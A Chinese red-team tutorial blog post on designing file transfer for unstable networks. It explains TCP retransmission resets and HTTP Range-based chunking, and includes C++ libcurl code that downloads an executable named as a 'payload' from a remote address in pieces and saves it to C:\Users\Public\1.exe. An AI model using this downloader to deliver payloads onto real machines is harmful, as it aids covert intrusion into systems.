红队安全研发轻松学系列之-网络不稳定下的传输设计

 

通常我们传输数据会有以下几种情况。
1.网络环境良好,A->B从开始到结束连接不断开
2.网络环境良好,A->B从开始到结束,连接可能因为某一方掉线而断开,收到不完整的数据。
3.网络环境很差,A->B传输过程中,因为丢包,TCP会重传,而当重传次数达到系统次数,连接被RESET。这样我们的链接就会断开,收到的数据就不完整。

我们对比网络情况二,网络情况三的情况:

情况二因为网络良好,只要某一方 重新上线,且不丢包,且不传输大文件,那么我们只要保证双方不再掉线,即可传输完文件。

情况三就很特殊,这也是笔者遇到的实战问题。在3这样的环境中,传输一个50KB的小文件,都反复失败。失败的原因则是因为丢包率很高,TCP又是分包发送数据,我们发送的50KB会被分为很多很多个小的包,只要某一个小的包重传超过五次,那么该链接就会被断开,接受到的数据就不完整。

接下来也正是本文的重点,介绍一种无论在网络环境差和好都适用的传输方案。

 

网络协议模型介绍

由于网络通信是个复杂的系统,所以网络层次分为不同层次来开发,不同层次负责不同功能。而通常我们讨论的为七层协议和五层协议只是不同归纳方法而已。

OSI模型与TCP/IP模型

OSI 模型

OSI(Open System Interconnect)开放系统互联参考模型,是ISO(国际标准组织)颁布的一个开放式体系结构 ,把网络分为七层。

TCP/IP参考模型

TCP/IP早期的TCP/IP模型是四层结构,后来借鉴OSI的七层参考模型,形成了一个新的五层结构。

 

实战会遇到的问题

通常我们在实战中会遇到如下一种情况:

TCP重传五次会被RESET

大家也许都知道TCP是个可靠的传输,但是却会在实战中遇到这种情况,连接突然被断开。

 

解决方案设计

鉴于如上问题,我们就需要在协议进行如下设计:
1.分包
2.重传
3.断开重连,重连

HTTP下的重传设计

HTTP是应用层协议,已经通过http头的content-length解决了TCP会出现的粘包问题,之后我们通过http协议已支持的range头来完成我们的分包传输。通过使用Range: bytes=xxx-xxx完成分片的工作,告诉服务器需要传输多少数据。

实验开始

编译libcurl

1.首先从官网https://curl.se/libcurl/ 下载libcurl库后解压缩,笔者是VS2010所以进入curl-7.75.0\projects\Windows\VC10\进行编译。
2.打开项目文件curl-all.sln,修改运行时库为Multi-threaded (/MT)。
3.编译选项选择LibRelease后进行编译。

新建测试工程

1.新建个项目工程,将生成好的lib文件导入到项目中。
2.给工程添加依赖的库:项目->属性->链接器->输入->附加依赖项,把libcurl.lib ws2_32.lib winmm.lib wldap32.lib添加进去。
3.加入预编译选项:项目->属性->c/c++ ->预处理器->预处理器,把 ;BUILDING_LIBCURL;HTTP_ONLY复制进去(注意不要丢了”;”)。

实现代码

将下述实现代码添加进入工程

#include <stdio.h>
#include<iostream>
#include<string>
#define CURL_STATICLIB   //静态链接
#include "curl/curl.h"

#pragma comment(lib, "libcurl.lib")

using namespace std;

typedef unsigned int uint;
typedef    PVOID pvoid;

size_t writeData(void *buffer, size_t size, size_t nmemb, void *lpVoid)
{
    string *str = dynamic_cast<string *>((string *)lpVoid);
    if (NULL == str || NULL == buffer)
    {
        return -1;
    }
    char *pData = (char*)buffer;
    str->append(pData,size *nmemb);
    return nmemb;
}

long f_get(char * strUrl,string & strRespose)
{
    CURLcode res;
    CURL * curl = curl_easy_init();
    if (NULL == curl)
    {
        return false;
    }

    curl_easy_setopt(curl,CURLOPT_URL,strUrl);        
    curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,writeData);
    curl_easy_setopt(curl,CURLOPT_WRITEDATA,(void*)&strRespose);
    curl_easy_setopt(curl,CURLOPT_NOSIGNAL,1);                    

    curl_easy_setopt(curl,CURLOPT_CONNECTTIMEOUT,10); //TCP连接超时
    curl_easy_setopt(curl,CURLOPT_TIMEOUT,30); //接收数据时超时设置

    res = curl_easy_perform(curl);                                        
    if (CURLE_OK != res)
    {

    }

    long response_code = 0;
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);

    double size = 0;
    if(response_code == 200){
        curl_easy_getinfo(curl, CURLINFO_CONTENT_LENGTH_DOWNLOAD, &size);
    }

    return size;
}

bool f_get2(char *strUrl,int beginIndex,int maxSize,string & strResponse)
{
    CURLcode res;
    CURL * curl = curl_easy_init();
    if (NULL == curl)
    {
        return false;
    }

    curl_easy_setopt(curl,CURLOPT_URL,strUrl);        
    curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,writeData);
    curl_easy_setopt(curl,CURLOPT_WRITEDATA,(void*)&strResponse);
    curl_easy_setopt(curl,CURLOPT_NOSIGNAL,1);                    

    curl_easy_setopt(curl,CURLOPT_CONNECTTIMEOUT,10);
    curl_easy_setopt(curl,CURLOPT_TIMEOUT,30);

    int endIndex = beginIndex + 10000;
    if(endIndex > maxSize){
        endIndex = maxSize;
    }

    char beginIndexStr[100];
    itoa(beginIndex,beginIndexStr,10);

    char endIndexStr[100];
    itoa(endIndex,endIndexStr,10);

    string beginIndexString = string(beginIndexStr);
    string endIndexString = string(endIndexStr);

    string rangeHead = "";
    rangeHead += beginIndexString;
    rangeHead += "-";
    rangeHead += endIndexString;
    curl_easy_setopt(curl, CURLOPT_RANGE, rangeHead.c_str());

    res = curl_easy_perform(curl);                                        
    if (CURLE_OK != res)
    {
    }

    long response_code = 0;
    curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);

    double size = 0;
    if(response_code == 200){
        curl_easy_getinfo(curl, CURLINFO_CONTENT_LENGTH_DOWNLOAD, &size);
    }

    return true;
}


BOOL Write(wstring filePath,char *buffer, DWORD contentLen)
{
    HANDLE pFile;
    char *tmpBuf;
    DWORD dwBytesWrite,dwBytesToWrite;

    pFile = CreateFile(filePath.c_str(),GENERIC_WRITE,          
        0,
        NULL,               
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL, 
        NULL);

    if ( pFile == INVALID_HANDLE_VALUE)
    {
        printf("create file error!\n");
        CloseHandle(pFile);
        return FALSE;
    }

    dwBytesToWrite = contentLen;
    dwBytesWrite = 0;

    tmpBuf = buffer;

    do{

        int ret = WriteFile(pFile,tmpBuf,dwBytesToWrite,&dwBytesWrite,NULL);

        dwBytesToWrite -= dwBytesWrite;
        tmpBuf += dwBytesWrite;

    } while (dwBytesToWrite > 0);

    CloseHandle(pFile);

    return TRUE;
}


int main()
{
    char * url = "http://192.168.206.144/Messagebox.exe";
    string payload;
    string response;

    long fileSize = f_get(url,response);

    response.clear();
    long payloadSize = payload.size();

    while(payloadSize < fileSize){
        //get data using http head range
        response.clear();
        f_get2(url,payloadSize,fileSize,response);
        payload.append(response);
        payloadSize = payload.size();
    }

    wstring path = L"C:\\Users\\Public\\1.exe";
    Write(path,(char *)payload.c_str(),payload.size());

    system("pause");
}

代码分析

1.首先通过第一次get获取目标文件的大小,由于设置了
curl_easy_setopt(curl,CURLOPT_TIMEOUT,30); //接收数据时超时设置
当在指定时间内无法接受到整块数据,会返回部分接受到的数据(包括能获取到大小的http头),这也是一次直连HTTP在网络状况差的情况下会导致的问题。
2.当得知了整个文件大小,通过range头来分块获取

(完)